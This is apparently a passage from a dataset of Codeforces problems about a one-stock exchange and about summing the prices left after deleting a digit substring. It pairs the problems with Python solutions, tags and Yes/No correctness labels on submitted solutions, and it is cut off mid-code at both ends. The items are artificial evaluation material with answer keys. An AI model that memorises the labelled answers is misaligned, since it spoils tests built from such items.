def LS(): return sys.stdin.readline().split()
def I(): return int(sys.stdin.readline())
def F(): return float(sys.stdin.readline())
def S(): return input()
def pf(s): return print(s, flush=True)
def pe(s): return print(str(s), file=sys.stderr)
def main():
n,m,r = LI()
a = LI()
b = LI()
c = min(a)
d = max(b)
if d > c:
t = r // c
r -= t * c
r += t * d
return r
print(main())
``` | output | 1 | 53,973 | 10 | 107,947 |
Provide tags and a correct Python 3 solution for this coding contest problem.
Welcome to Codeforces Stock Exchange! We're pretty limited now as we currently allow trading on one stock, Codeforces Ltd. We hope you'll still be able to make profit from the market!
In the morning, there are n opportunities to buy shares. The i-th of them allows to buy as many shares as you want, each at the price of s_i bourles.
In the evening, there are m opportunities to sell shares. The i-th of them allows to sell as many shares as you want, each at the price of b_i bourles. You can't sell more shares than you have.
It's morning now and you possess r bourles and no shares.
What is the maximum number of bourles you can hold after the evening?
Input
The first line of the input contains three integers n, m, r (1 ≤ n ≤ 30, 1 ≤ m ≤ 30, 1 ≤ r ≤ 1000) — the number of ways to buy the shares on the market, the number of ways to sell the shares on the market, and the number of bourles you hold now.
The next line contains n integers s_1, s_2, ..., s_n (1 ≤ s_i ≤ 1000); s_i indicates the opportunity to buy shares at the price of s_i bourles.
The following line contains m integers b_1, b_2, ..., b_m (1 ≤ b_i ≤ 1000); b_i indicates the opportunity to sell shares at the price of b_i bourles.
Output
Output a single integer — the maximum number of bourles you can hold after the evening.
Examples
Input
3 4 11
4 2 5
4 4 5 4
Output
26
Input
2 2 50
5 7
4 2
Output
50
Note
In the first example test, you have 11 bourles in the morning. It's optimal to buy 5 shares of a stock at the price of 2 bourles in the morning, and then to sell all of them at the price of 5 bourles in the evening. It's easy to verify that you'll have 26 bourles after the evening.
In the second example test, it's optimal not to take any action. | instruction | 0 | 53,974 | 10 | 107,948 |
Tags: greedy, implementation
Correct Solution:
```
a,b,c=map(int,input().split())
*a,=map(int,input().split())
*b,=map(int,input().split())
print(max(c,c//min(a)*max(b)+c%min(a)))
``` | output | 1 | 53,974 | 10 | 107,949 |
Provide tags and a correct Python 3 solution for this coding contest problem.
Welcome to Codeforces Stock Exchange! We're pretty limited now as we currently allow trading on one stock, Codeforces Ltd. We hope you'll still be able to make profit from the market!
In the morning, there are n opportunities to buy shares. The i-th of them allows to buy as many shares as you want, each at the price of s_i bourles.
In the evening, there are m opportunities to sell shares. The i-th of them allows to sell as many shares as you want, each at the price of b_i bourles. You can't sell more shares than you have.
It's morning now and you possess r bourles and no shares.
What is the maximum number of bourles you can hold after the evening?
Input
The first line of the input contains three integers n, m, r (1 ≤ n ≤ 30, 1 ≤ m ≤ 30, 1 ≤ r ≤ 1000) — the number of ways to buy the shares on the market, the number of ways to sell the shares on the market, and the number of bourles you hold now.
The next line contains n integers s_1, s_2, ..., s_n (1 ≤ s_i ≤ 1000); s_i indicates the opportunity to buy shares at the price of s_i bourles.
The following line contains m integers b_1, b_2, ..., b_m (1 ≤ b_i ≤ 1000); b_i indicates the opportunity to sell shares at the price of b_i bourles.
Output
Output a single integer — the maximum number of bourles you can hold after the evening.
Examples
Input
3 4 11
4 2 5
4 4 5 4
Output
26
Input
2 2 50
5 7
4 2
Output
50
Note
In the first example test, you have 11 bourles in the morning. It's optimal to buy 5 shares of a stock at the price of 2 bourles in the morning, and then to sell all of them at the price of 5 bourles in the evening. It's easy to verify that you'll have 26 bourles after the evening.
In the second example test, it's optimal not to take any action. | instruction | 0 | 53,975 | 10 | 107,950 |
Tags: greedy, implementation
Correct Solution:
```
n,m,r = map(int,input().split())
s=list(map(int,input().split()))
b=list(map(int,input().split()))
min_s=min(s)
max_b=max(b)
if min_s<max_b:
print((int(r/min_s)*max_b)+(r%min_s))
else:
print(r)
``` | output | 1 | 53,975 | 10 | 107,951 |
Provide tags and a correct Python 3 solution for this coding contest problem.
Welcome to Codeforces Stock Exchange! We're pretty limited now as we currently allow trading on one stock, Codeforces Ltd. We hope you'll still be able to make profit from the market!
In the morning, there are n opportunities to buy shares. The i-th of them allows to buy as many shares as you want, each at the price of s_i bourles.
In the evening, there are m opportunities to sell shares. The i-th of them allows to sell as many shares as you want, each at the price of b_i bourles. You can't sell more shares than you have.
It's morning now and you possess r bourles and no shares.
What is the maximum number of bourles you can hold after the evening?
Input
The first line of the input contains three integers n, m, r (1 ≤ n ≤ 30, 1 ≤ m ≤ 30, 1 ≤ r ≤ 1000) — the number of ways to buy the shares on the market, the number of ways to sell the shares on the market, and the number of bourles you hold now.
The next line contains n integers s_1, s_2, ..., s_n (1 ≤ s_i ≤ 1000); s_i indicates the opportunity to buy shares at the price of s_i bourles.
The following line contains m integers b_1, b_2, ..., b_m (1 ≤ b_i ≤ 1000); b_i indicates the opportunity to sell shares at the price of b_i bourles.
Output
Output a single integer — the maximum number of bourles you can hold after the evening.
Examples
Input
3 4 11
4 2 5
4 4 5 4
Output
26
Input
2 2 50
5 7
4 2
Output
50
Note
In the first example test, you have 11 bourles in the morning. It's optimal to buy 5 shares of a stock at the price of 2 bourles in the morning, and then to sell all of them at the price of 5 bourles in the evening. It's easy to verify that you'll have 26 bourles after the evening.
In the second example test, it's optimal not to take any action. | instruction | 0 | 53,976 | 10 | 107,952 |
Tags: greedy, implementation
Correct Solution:
```
m = list(map(int, input().split()))
b=list(map(int, input().split()))
s=list(map(int, input().split()))
money = m[-1]
min_price = min(b)
max_price = max(s)
money_left = 0
shares = 0
if money >= min_price:
for i in range(money) :
if money % min_price == 0:
shares = int(money/min_price)
break
else:
money -= 1
money_left +=1
profit = ((shares*max_price)+ money_left)
if profit > m[-1]:
print(profit)
else:
print(m[-1])
``` | output | 1 | 53,976 | 10 | 107,953 |
Evaluate the correctness of the submitted Python 3 solution to the coding contest problem. Provide a "Yes" or "No" response.
Welcome to Codeforces Stock Exchange! We're pretty limited now as we currently allow trading on one stock, Codeforces Ltd. We hope you'll still be able to make profit from the market!
In the morning, there are n opportunities to buy shares. The i-th of them allows to buy as many shares as you want, each at the price of s_i bourles.
In the evening, there are m opportunities to sell shares. The i-th of them allows to sell as many shares as you want, each at the price of b_i bourles. You can't sell more shares than you have.
It's morning now and you possess r bourles and no shares.
What is the maximum number of bourles you can hold after the evening?
Input
The first line of the input contains three integers n, m, r (1 ≤ n ≤ 30, 1 ≤ m ≤ 30, 1 ≤ r ≤ 1000) — the number of ways to buy the shares on the market, the number of ways to sell the shares on the market, and the number of bourles you hold now.
The next line contains n integers s_1, s_2, ..., s_n (1 ≤ s_i ≤ 1000); s_i indicates the opportunity to buy shares at the price of s_i bourles.
The following line contains m integers b_1, b_2, ..., b_m (1 ≤ b_i ≤ 1000); b_i indicates the opportunity to sell shares at the price of b_i bourles.
Output
Output a single integer — the maximum number of bourles you can hold after the evening.
Examples
Input
3 4 11
4 2 5
4 4 5 4
Output
26
Input
2 2 50
5 7
4 2
Output
50
Note
In the first example test, you have 11 bourles in the morning. It's optimal to buy 5 shares of a stock at the price of 2 bourles in the morning, and then to sell all of them at the price of 5 bourles in the evening. It's easy to verify that you'll have 26 bourles after the evening.
In the second example test, it's optimal not to take any action.
Submitted Solution:
```
n, m, r = map(int, input().split())
S = list(map(int, input().split()))
B = list(map(int, input().split()))
x = min(S)
y = max(B)
cnt = r % x
act = r // x
cnt += act * y
print(max(r, cnt))
``` | instruction | 0 | 53,977 | 10 | 107,954 |
Yes | output | 1 | 53,977 | 10 | 107,955 |
Evaluate the correctness of the submitted Python 3 solution to the coding contest problem. Provide a "Yes" or "No" response.
Welcome to Codeforces Stock Exchange! We're pretty limited now as we currently allow trading on one stock, Codeforces Ltd. We hope you'll still be able to make profit from the market!
In the morning, there are n opportunities to buy shares. The i-th of them allows to buy as many shares as you want, each at the price of s_i bourles.
In the evening, there are m opportunities to sell shares. The i-th of them allows to sell as many shares as you want, each at the price of b_i bourles. You can't sell more shares than you have.
It's morning now and you possess r bourles and no shares.
What is the maximum number of bourles you can hold after the evening?
Input
The first line of the input contains three integers n, m, r (1 ≤ n ≤ 30, 1 ≤ m ≤ 30, 1 ≤ r ≤ 1000) — the number of ways to buy the shares on the market, the number of ways to sell the shares on the market, and the number of bourles you hold now.
The next line contains n integers s_1, s_2, ..., s_n (1 ≤ s_i ≤ 1000); s_i indicates the opportunity to buy shares at the price of s_i bourles.
The following line contains m integers b_1, b_2, ..., b_m (1 ≤ b_i ≤ 1000); b_i indicates the opportunity to sell shares at the price of b_i bourles.
Output
Output a single integer — the maximum number of bourles you can hold after the evening.
Examples
Input
3 4 11
4 2 5
4 4 5 4
Output
26
Input
2 2 50
5 7
4 2
Output
50
Note
In the first example test, you have 11 bourles in the morning. It's optimal to buy 5 shares of a stock at the price of 2 bourles in the morning, and then to sell all of them at the price of 5 bourles in the evening. It's easy to verify that you'll have 26 bourles after the evening.
In the second example test, it's optimal not to take any action.
Submitted Solution:
```
n,m,r = list(map(int,input().split()))
s = list(map(int,input().split()))
b = list(map(int,input().split()))
s_min = min(s)
b_max = max(b)
if s_min>=b_max:
print(r)
else:
number = r//s_min
cha = r - number*s_min
out = number*b_max+cha
print(out)
``` | instruction | 0 | 53,978 | 10 | 107,956 |
Yes | output | 1 | 53,978 | 10 | 107,957 |
Evaluate the correctness of the submitted Python 3 solution to the coding contest problem. Provide a "Yes" or "No" response.
Welcome to Codeforces Stock Exchange! We're pretty limited now as we currently allow trading on one stock, Codeforces Ltd. We hope you'll still be able to make profit from the market!
In the morning, there are n opportunities to buy shares. The i-th of them allows to buy as many shares as you want, each at the price of s_i bourles.
In the evening, there are m opportunities to sell shares. The i-th of them allows to sell as many shares as you want, each at the price of b_i bourles. You can't sell more shares than you have.
It's morning now and you possess r bourles and no shares.
What is the maximum number of bourles you can hold after the evening?
Input
The first line of the input contains three integers n, m, r (1 ≤ n ≤ 30, 1 ≤ m ≤ 30, 1 ≤ r ≤ 1000) — the number of ways to buy the shares on the market, the number of ways to sell the shares on the market, and the number of bourles you hold now.
The next line contains n integers s_1, s_2, ..., s_n (1 ≤ s_i ≤ 1000); s_i indicates the opportunity to buy shares at the price of s_i bourles.
The following line contains m integers b_1, b_2, ..., b_m (1 ≤ b_i ≤ 1000); b_i indicates the opportunity to sell shares at the price of b_i bourles.
Output
Output a single integer — the maximum number of bourles you can hold after the evening.
Examples
Input
3 4 11
4 2 5
4 4 5 4
Output
26
Input
2 2 50
5 7
4 2
Output
50
Note
In the first example test, you have 11 bourles in the morning. It's optimal to buy 5 shares of a stock at the price of 2 bourles in the morning, and then to sell all of them at the price of 5 bourles in the evening. It's easy to verify that you'll have 26 bourles after the evening.
In the second example test, it's optimal not to take any action.
Submitted Solution:
```
n, m, r = map(int,input().split())
s = map(int, input().split())
b = map(int, input().split())
ms = min(s)
mb = max(b)
if ms < mb :
shares=int(r/ms)
left = r%ms
res=shares*mb
r = res+left
print(r)
``` | instruction | 0 | 53,979 | 10 | 107,958 |
Yes | output | 1 | 53,979 | 10 | 107,959 |
Evaluate the correctness of the submitted Python 3 solution to the coding contest problem. Provide a "Yes" or "No" response.
Welcome to Codeforces Stock Exchange! We're pretty limited now as we currently allow trading on one stock, Codeforces Ltd. We hope you'll still be able to make profit from the market!
In the morning, there are n opportunities to buy shares. The i-th of them allows to buy as many shares as you want, each at the price of s_i bourles.
In the evening, there are m opportunities to sell shares. The i-th of them allows to sell as many shares as you want, each at the price of b_i bourles. You can't sell more shares than you have.
It's morning now and you possess r bourles and no shares.
What is the maximum number of bourles you can hold after the evening?
Input
The first line of the input contains three integers n, m, r (1 ≤ n ≤ 30, 1 ≤ m ≤ 30, 1 ≤ r ≤ 1000) — the number of ways to buy the shares on the market, the number of ways to sell the shares on the market, and the number of bourles you hold now.
The next line contains n integers s_1, s_2, ..., s_n (1 ≤ s_i ≤ 1000); s_i indicates the opportunity to buy shares at the price of s_i bourles.
The following line contains m integers b_1, b_2, ..., b_m (1 ≤ b_i ≤ 1000); b_i indicates the opportunity to sell shares at the price of b_i bourles.
Output
Output a single integer — the maximum number of bourles you can hold after the evening.
Examples
Input
3 4 11
4 2 5
4 4 5 4
Output
26
Input
2 2 50
5 7
4 2
Output
50
Note
In the first example test, you have 11 bourles in the morning. It's optimal to buy 5 shares of a stock at the price of 2 bourles in the morning, and then to sell all of them at the price of 5 bourles in the evening. It's easy to verify that you'll have 26 bourles after the evening.
In the second example test, it's optimal not to take any action.
Submitted Solution:
```
#JMD
#Nagendra Jha-4096
import sys
import math
#import fractions
#import numpy
###File Operations###
fileoperation=0
if(fileoperation):
orig_stdout = sys.stdout
orig_stdin = sys.stdin
inputfile = open('W:/Competitive Programming/input.txt', 'r')
outputfile = open('W:/Competitive Programming/output.txt', 'w')
sys.stdin = inputfile
sys.stdout = outputfile
###Defines...###
mod=1000000007
###FUF's...###
def nospace(l):
ans=''.join(str(i) for i in l)
return ans
##### Main ####
t=1
for tt in range(t):
#n=int(input())
n,m,r= map(int, sys.stdin.readline().split(' '))
a=list(map(int,sys.stdin.readline().split(' ')))
b=list(map(int,sys.stdin.readline().split(' ')))
rem=r%min(a)
print(max(r,(max(b)*(r//min(a)))+rem))
#####File Operations#####
if(fileoperation):
sys.stdout = orig_stdout
sys.stdin = orig_stdin
inputfile.close()
outputfile.close()
``` | instruction | 0 | 53,980 | 10 | 107,960 |
Yes | output | 1 | 53,980 | 10 | 107,961 |
Evaluate the correctness of the submitted Python 3 solution to the coding contest problem. Provide a "Yes" or "No" response.
Welcome to Codeforces Stock Exchange! We're pretty limited now as we currently allow trading on one stock, Codeforces Ltd. We hope you'll still be able to make profit from the market!
In the morning, there are n opportunities to buy shares. The i-th of them allows to buy as many shares as you want, each at the price of s_i bourles.
In the evening, there are m opportunities to sell shares. The i-th of them allows to sell as many shares as you want, each at the price of b_i bourles. You can't sell more shares than you have.
It's morning now and you possess r bourles and no shares.
What is the maximum number of bourles you can hold after the evening?
Input
The first line of the input contains three integers n, m, r (1 ≤ n ≤ 30, 1 ≤ m ≤ 30, 1 ≤ r ≤ 1000) — the number of ways to buy the shares on the market, the number of ways to sell the shares on the market, and the number of bourles you hold now.
The next line contains n integers s_1, s_2, ..., s_n (1 ≤ s_i ≤ 1000); s_i indicates the opportunity to buy shares at the price of s_i bourles.
The following line contains m integers b_1, b_2, ..., b_m (1 ≤ b_i ≤ 1000); b_i indicates the opportunity to sell shares at the price of b_i bourles.
Output
Output a single integer — the maximum number of bourles you can hold after the evening.
Examples
Input
3 4 11
4 2 5
4 4 5 4
Output
26
Input
2 2 50
5 7
4 2
Output
50
Note
In the first example test, you have 11 bourles in the morning. It's optimal to buy 5 shares of a stock at the price of 2 bourles in the morning, and then to sell all of them at the price of 5 bourles in the evening. It's easy to verify that you'll have 26 bourles after the evening.
In the second example test, it's optimal not to take any action.
Submitted Solution:
```
n, m, r = map(int,input().split())
a = list(map(int, input().split()))
b = list(map(int, input().split()))
a.sort()
b.sort()
if a[0] < b[m-1]:
if a[0] > r:
rr = r*a[0]
else:
rr = r//a[0]
rr = rr * b[m-1]
print(rr+1)
else:
print(r)
``` | instruction | 0 | 53,981 | 10 | 107,962 |
No | output | 1 | 53,981 | 10 | 107,963 |
Evaluate the correctness of the submitted Python 3 solution to the coding contest problem. Provide a "Yes" or "No" response.
Welcome to Codeforces Stock Exchange! We're pretty limited now as we currently allow trading on one stock, Codeforces Ltd. We hope you'll still be able to make profit from the market!
In the morning, there are n opportunities to buy shares. The i-th of them allows to buy as many shares as you want, each at the price of s_i bourles.
In the evening, there are m opportunities to sell shares. The i-th of them allows to sell as many shares as you want, each at the price of b_i bourles. You can't sell more shares than you have.
It's morning now and you possess r bourles and no shares.
What is the maximum number of bourles you can hold after the evening?
Input
The first line of the input contains three integers n, m, r (1 ≤ n ≤ 30, 1 ≤ m ≤ 30, 1 ≤ r ≤ 1000) — the number of ways to buy the shares on the market, the number of ways to sell the shares on the market, and the number of bourles you hold now.
The next line contains n integers s_1, s_2, ..., s_n (1 ≤ s_i ≤ 1000); s_i indicates the opportunity to buy shares at the price of s_i bourles.
The following line contains m integers b_1, b_2, ..., b_m (1 ≤ b_i ≤ 1000); b_i indicates the opportunity to sell shares at the price of b_i bourles.
Output
Output a single integer — the maximum number of bourles you can hold after the evening.
Examples
Input
3 4 11
4 2 5
4 4 5 4
Output
26
Input
2 2 50
5 7
4 2
Output
50
Note
In the first example test, you have 11 bourles in the morning. It's optimal to buy 5 shares of a stock at the price of 2 bourles in the morning, and then to sell all of them at the price of 5 bourles in the evening. It's easy to verify that you'll have 26 bourles after the evening.
In the second example test, it's optimal not to take any action.
Submitted Solution:
```
n,m,k = input().split(' ')
n = int(n)
m = int(m)
k = int(k)
a = list(map(int,input().split(' ')))
b = list(map(int,input().split(' ')))
aa = min(a)
bb = max(b)
cnt = k // aa
r = k % aa
print(cnt,bb)
buy = cnt * bb
if buy > k-r:
print((bb * cnt) + r)
else:
print(0)
``` | instruction | 0 | 53,982 | 10 | 107,964 |
No | output | 1 | 53,982 | 10 | 107,965 |
Evaluate the correctness of the submitted Python 3 solution to the coding contest problem. Provide a "Yes" or "No" response.
Welcome to Codeforces Stock Exchange! We're pretty limited now as we currently allow trading on one stock, Codeforces Ltd. We hope you'll still be able to make profit from the market!
In the morning, there are n opportunities to buy shares. The i-th of them allows to buy as many shares as you want, each at the price of s_i bourles.
In the evening, there are m opportunities to sell shares. The i-th of them allows to sell as many shares as you want, each at the price of b_i bourles. You can't sell more shares than you have.
It's morning now and you possess r bourles and no shares.
What is the maximum number of bourles you can hold after the evening?
Input
The first line of the input contains three integers n, m, r (1 ≤ n ≤ 30, 1 ≤ m ≤ 30, 1 ≤ r ≤ 1000) — the number of ways to buy the shares on the market, the number of ways to sell the shares on the market, and the number of bourles you hold now.
The next line contains n integers s_1, s_2, ..., s_n (1 ≤ s_i ≤ 1000); s_i indicates the opportunity to buy shares at the price of s_i bourles.
The following line contains m integers b_1, b_2, ..., b_m (1 ≤ b_i ≤ 1000); b_i indicates the opportunity to sell shares at the price of b_i bourles.
Output
Output a single integer — the maximum number of bourles you can hold after the evening.
Examples
Input
3 4 11
4 2 5
4 4 5 4
Output
26
Input
2 2 50
5 7
4 2
Output
50
Note
In the first example test, you have 11 bourles in the morning. It's optimal to buy 5 shares of a stock at the price of 2 bourles in the morning, and then to sell all of them at the price of 5 bourles in the evening. It's easy to verify that you'll have 26 bourles after the evening.
In the second example test, it's optimal not to take any action.
Submitted Solution:
```
n, m, r = map(int, input().split())
count = 0
sp = sorted(list(map(int, input().split())))
x = 0
r1 = r
sp.append(1)
while r != 0 and r // sp[x] != 0:
d = r // sp[x]
count += d
r -= sp[x] * d
x += 1
w = max(list(map(int, input().split())))
print(max(r1, w * count + r))
``` | instruction | 0 | 53,983 | 10 | 107,966 |
No | output | 1 | 53,983 | 10 | 107,967 |
Evaluate the correctness of the submitted Python 3 solution to the coding contest problem. Provide a "Yes" or "No" response.
Welcome to Codeforces Stock Exchange! We're pretty limited now as we currently allow trading on one stock, Codeforces Ltd. We hope you'll still be able to make profit from the market!
In the morning, there are n opportunities to buy shares. The i-th of them allows to buy as many shares as you want, each at the price of s_i bourles.
In the evening, there are m opportunities to sell shares. The i-th of them allows to sell as many shares as you want, each at the price of b_i bourles. You can't sell more shares than you have.
It's morning now and you possess r bourles and no shares.
What is the maximum number of bourles you can hold after the evening?
Input
The first line of the input contains three integers n, m, r (1 ≤ n ≤ 30, 1 ≤ m ≤ 30, 1 ≤ r ≤ 1000) — the number of ways to buy the shares on the market, the number of ways to sell the shares on the market, and the number of bourles you hold now.
The next line contains n integers s_1, s_2, ..., s_n (1 ≤ s_i ≤ 1000); s_i indicates the opportunity to buy shares at the price of s_i bourles.
The following line contains m integers b_1, b_2, ..., b_m (1 ≤ b_i ≤ 1000); b_i indicates the opportunity to sell shares at the price of b_i bourles.
Output
Output a single integer — the maximum number of bourles you can hold after the evening.
Examples
Input
3 4 11
4 2 5
4 4 5 4
Output
26
Input
2 2 50
5 7
4 2
Output
50
Note
In the first example test, you have 11 bourles in the morning. It's optimal to buy 5 shares of a stock at the price of 2 bourles in the morning, and then to sell all of them at the price of 5 bourles in the evening. It's easy to verify that you'll have 26 bourles after the evening.
In the second example test, it's optimal not to take any action.
Submitted Solution:
```
def main():
s = [int(x) for x in input().split()]
r = s[2]
buy = min([int(x) for x in input().split()])
sell = max([int(x) for x in input().split()])
morning = r // buy
evening = morning * sell
if evening >= r:
ans = evening + r % buy
print(ans)
else:
print(r)
main()
``` | instruction | 0 | 53,984 | 10 | 107,968 |
No | output | 1 | 53,984 | 10 | 107,969 |
Provide tags and a correct Python 3 solution for this coding contest problem.
Sometimes it is not easy to come to an agreement in a bargain. Right now Sasha and Vova can't come to an agreement: Sasha names a price as high as possible, then Vova wants to remove as many digits from the price as possible. In more details, Sasha names some integer price n, Vova removes a non-empty substring of (consecutive) digits from the price, the remaining digits close the gap, and the resulting integer is the price.
For example, is Sasha names 1213121, Vova can remove the substring 1312, and the result is 121.
It is allowed for result to contain leading zeros. If Vova removes all digits, the price is considered to be 0.
Sasha wants to come up with some constraints so that Vova can't just remove all digits, but he needs some arguments supporting the constraints. To start with, he wants to compute the sum of all possible resulting prices after Vova's move.
Help Sasha to compute this sum. Since the answer can be very large, print it modulo 10^9 + 7.
Input
The first and only line contains a single integer n (1 ≤ n < 10^{10^5}).
Output
In the only line print the required sum modulo 10^9 + 7.
Examples
Input
107
Output
42
Input
100500100500
Output
428101984
Note
Consider the first example.
Vova can choose to remove 1, 0, 7, 10, 07, or 107. The results are 07, 17, 10, 7, 1, 0. Their sum is 42. | instruction | 0 | 54,132 | 10 | 108,264 |
Tags: combinatorics, dp, math
Correct Solution:
```
import sys
input = lambda: sys.stdin.readline().rstrip()
#input = sys.stdin.buffer.readline
m=10**9+7
a=input()
n=len(a)
p=0; ans=0
for i in range(n-1,-1,-1):
c=pow(10,n-i-1,m)
val=c*int(a[i])*i*(i+1)//2
val%=m
if i!=n-1: p=(p+pow(10,n-2-i,m)*(n-i-1))%m
val+=p*int(a[i])
val%=m
ans=(ans+val)%m
print(ans)
``` | output | 1 | 54,132 | 10 | 108,265 |
Provide tags and a correct Python 3 solution for this coding contest problem.
Sometimes it is not easy to come to an agreement in a bargain. Right now Sasha and Vova can't come to an agreement: Sasha names a price as high as possible, then Vova wants to remove as many digits from the price as possible. In more details, Sasha names some integer price n, Vova removes a non-empty substring of (consecutive) digits from the price, the remaining digits close the gap, and the resulting integer is the price.
For example, is Sasha names 1213121, Vova can remove the substring 1312, and the result is 121.
It is allowed for result to contain leading zeros. If Vova removes all digits, the price is considered to be 0.
Sasha wants to come up with some constraints so that Vova can't just remove all digits, but he needs some arguments supporting the constraints. To start with, he wants to compute the sum of all possible resulting prices after Vova's move.
Help Sasha to compute this sum. Since the answer can be very large, print it modulo 10^9 + 7.
Input
The first and only line contains a single integer n (1 ≤ n < 10^{10^5}).
Output
In the only line print the required sum modulo 10^9 + 7.
Examples
Input
107
Output
42
Input
100500100500
Output
428101984
Note
Consider the first example.
Vova can choose to remove 1, 0, 7, 10, 07, or 107. The results are 07, 17, 10, 7, 1, 0. Their sum is 42. | instruction | 0 | 54,133 | 10 | 108,266 |
Tags: combinatorics, dp, math
Correct Solution:
```
n=list(input())
s=0
n=n[::-1]
t=len(n)
sum=0
s=1
p=0
b=0
for i in range(t):
a=int(n[i])
if a!=0:
if i==1:
p=1
sum=(sum+(a*s*(t-i-1)*(t-i)//2) + a*(b+(i)*p))%1000000007
b=(b+(i)*p)%1000000007
p=(p*10)%1000000007
s = (s * 10) % 1000000007
else:
if i==1:
p=1
b=(b+i*p)%1000000007
p=(p*10)%1000000007
s=(s*10)%1000000007
print(sum)
``` | output | 1 | 54,133 | 10 | 108,267 |
Provide tags and a correct Python 3 solution for this coding contest problem.
Sometimes it is not easy to come to an agreement in a bargain. Right now Sasha and Vova can't come to an agreement: Sasha names a price as high as possible, then Vova wants to remove as many digits from the price as possible. In more details, Sasha names some integer price n, Vova removes a non-empty substring of (consecutive) digits from the price, the remaining digits close the gap, and the resulting integer is the price.
For example, is Sasha names 1213121, Vova can remove the substring 1312, and the result is 121.
It is allowed for result to contain leading zeros. If Vova removes all digits, the price is considered to be 0.
Sasha wants to come up with some constraints so that Vova can't just remove all digits, but he needs some arguments supporting the constraints. To start with, he wants to compute the sum of all possible resulting prices after Vova's move.
Help Sasha to compute this sum. Since the answer can be very large, print it modulo 10^9 + 7.
Input
The first and only line contains a single integer n (1 ≤ n < 10^{10^5}).
Output
In the only line print the required sum modulo 10^9 + 7.
Examples
Input
107
Output
42
Input
100500100500
Output
428101984
Note
Consider the first example.
Vova can choose to remove 1, 0, 7, 10, 07, or 107. The results are 07, 17, 10, 7, 1, 0. Their sum is 42. | instruction | 0 | 54,134 | 10 | 108,268 |
Tags: combinatorics, dp, math
Correct Solution:
```
from sys import stdin
class Input:
def __init__(self):
self.it = iter(stdin.readlines())
def line(self):
return next(self.it).strip()
def array(self, sep = ' ', cast = int):
return list(map(cast, self.line().split(sep = sep)))
def testcases(unknown = False):
inpt = Input()
def testcases_decorator(func):
cases, = [0] if unknown else inpt.array()
while unknown or cases > 0:
try:
func(inpt)
cases -= 1
except StopIteration:
break
return testcases_decorator
'''
@thnkndblv
'''
MOD = 1000000007
N = 100005
ten = [1]
for i in range(1, N):
ten.append(ten[-1] * 10)
ten[-1] %= MOD
s = [1]
for i in range(1, N):
s.append(ten[i] * (i + 1))
s[-1] %= MOD
for i in range(1, N):
s[i] += s[i - 1]
s[i] %= MOD
@testcases(unknown=True)
def solve(inpt):
''' '''
n = inpt.line()
m = len(n)
ans = 0
for i in range(m):
d = int(n[i])
rg = m - 1 - i
if rg:
ans += d * s[rg - 1]
k = i * (i + 1) // 2
ans += (d * k * ten[m - 1 - i]) % MOD
ans %= MOD
print(ans)
``` | output | 1 | 54,134 | 10 | 108,269 |
Provide tags and a correct Python 3 solution for this coding contest problem.
Sometimes it is not easy to come to an agreement in a bargain. Right now Sasha and Vova can't come to an agreement: Sasha names a price as high as possible, then Vova wants to remove as many digits from the price as possible. In more details, Sasha names some integer price n, Vova removes a non-empty substring of (consecutive) digits from the price, the remaining digits close the gap, and the resulting integer is the price.
For example, is Sasha names 1213121, Vova can remove the substring 1312, and the result is 121.
It is allowed for result to contain leading zeros. If Vova removes all digits, the price is considered to be 0.
Sasha wants to come up with some constraints so that Vova can't just remove all digits, but he needs some arguments supporting the constraints. To start with, he wants to compute the sum of all possible resulting prices after Vova's move.
Help Sasha to compute this sum. Since the answer can be very large, print it modulo 10^9 + 7.
Input
The first and only line contains a single integer n (1 ≤ n < 10^{10^5}).
Output
In the only line print the required sum modulo 10^9 + 7.
Examples
Input
107
Output
42
Input
100500100500
Output
428101984
Note
Consider the first example.
Vova can choose to remove 1, 0, 7, 10, 07, or 107. The results are 07, 17, 10, 7, 1, 0. Their sum is 42. | instruction | 0 | 54,135 | 10 | 108,270 |
Tags: combinatorics, dp, math
Correct Solution:
```
import sys
import math
import collections
import heapq
import decimal
input=sys.stdin.readline
mod=1000000007
s=input()
n=len(s)-1
s1=0
p=1
s2=0
for i in range(n-1,-1,-1):
s1=(s1+(int(s[i])*(((i*(i+1))//2)%mod*p%mod+s2)%mod))%mod
s2=(s2+(p*(n-i))%mod)%mod
p=(p*10)%mod
print(s1)
``` | output | 1 | 54,135 | 10 | 108,271 |
Provide tags and a correct Python 3 solution for this coding contest problem.
Sometimes it is not easy to come to an agreement in a bargain. Right now Sasha and Vova can't come to an agreement: Sasha names a price as high as possible, then Vova wants to remove as many digits from the price as possible. In more details, Sasha names some integer price n, Vova removes a non-empty substring of (consecutive) digits from the price, the remaining digits close the gap, and the resulting integer is the price.
For example, is Sasha names 1213121, Vova can remove the substring 1312, and the result is 121.
It is allowed for result to contain leading zeros. If Vova removes all digits, the price is considered to be 0.
Sasha wants to come up with some constraints so that Vova can't just remove all digits, but he needs some arguments supporting the constraints. To start with, he wants to compute the sum of all possible resulting prices after Vova's move.
Help Sasha to compute this sum. Since the answer can be very large, print it modulo 10^9 + 7.
Input
The first and only line contains a single integer n (1 ≤ n < 10^{10^5}).
Output
In the only line print the required sum modulo 10^9 + 7.
Examples
Input
107
Output
42
Input
100500100500
Output
428101984
Note
Consider the first example.
Vova can choose to remove 1, 0, 7, 10, 07, or 107. The results are 07, 17, 10, 7, 1, 0. Their sum is 42. | instruction | 0 | 54,136 | 10 | 108,272 |
Tags: combinatorics, dp, math
Correct Solution:
```
from math import ceil
from collections import defaultdict
def solve():
# n,m = map(int,input().split())
# ans = 0
# ans1 = 0
# l = []
# z = []
# for i in range(n):
# ka = list(map(int,input().split()))
# l.append(ka)
# k = [0]*(m)
# z.append(k)
#
# for i in range(n):
# for j in range(m):
# z[i][j] = l[i][j]
# for i in range(n):
# c = 0
# for j in range(m-1,ceil(m/2)-1,-1):
#
#
# ans+=abs(l[i][c]-l[i][j])
#
# l[i][j] = l[i][c]
# c+=1
# print(ans)
# for j in range(m):
# c = 0
# for i in range(n-1,ceil(n/2)-1,-1):
#
#
# ans+=abs(l[i][j]-l[c][j])
# l[i][j] = l[c][j]
#
# c+=1
#
# l = z.copy()
#
#
# for j in range(m):
# c = 0
# for i in range(n-1,ceil(n/2)-1,-1):
#
#
# ans1+=abs(l[i][j]-l[c][j])
# l[i][j] = l[c][j]
#
# c+=1
#
# for i in range(n):
# c = 0
# for j in range(m-1,ceil(m/2)-1,-1):
#
#
# ans1+=abs(l[i][c]-l[i][j])
#
#
# c+=1
# for i in l:
# print(*i)
# print(min(ans1,ans))
s = input()
n = len(s)
place = 0
dp = [0]*(n+1)
dp[1] = 0
sum = int(s[0])
mod = 10**9 + 7
ha = sum
# v = -1
for i in range(2,n+1):
z = int(s[i-1])
dp[i] = dp[i-1]*10+((i-1)*i*z)//2 + ha
dp[i]%=mod
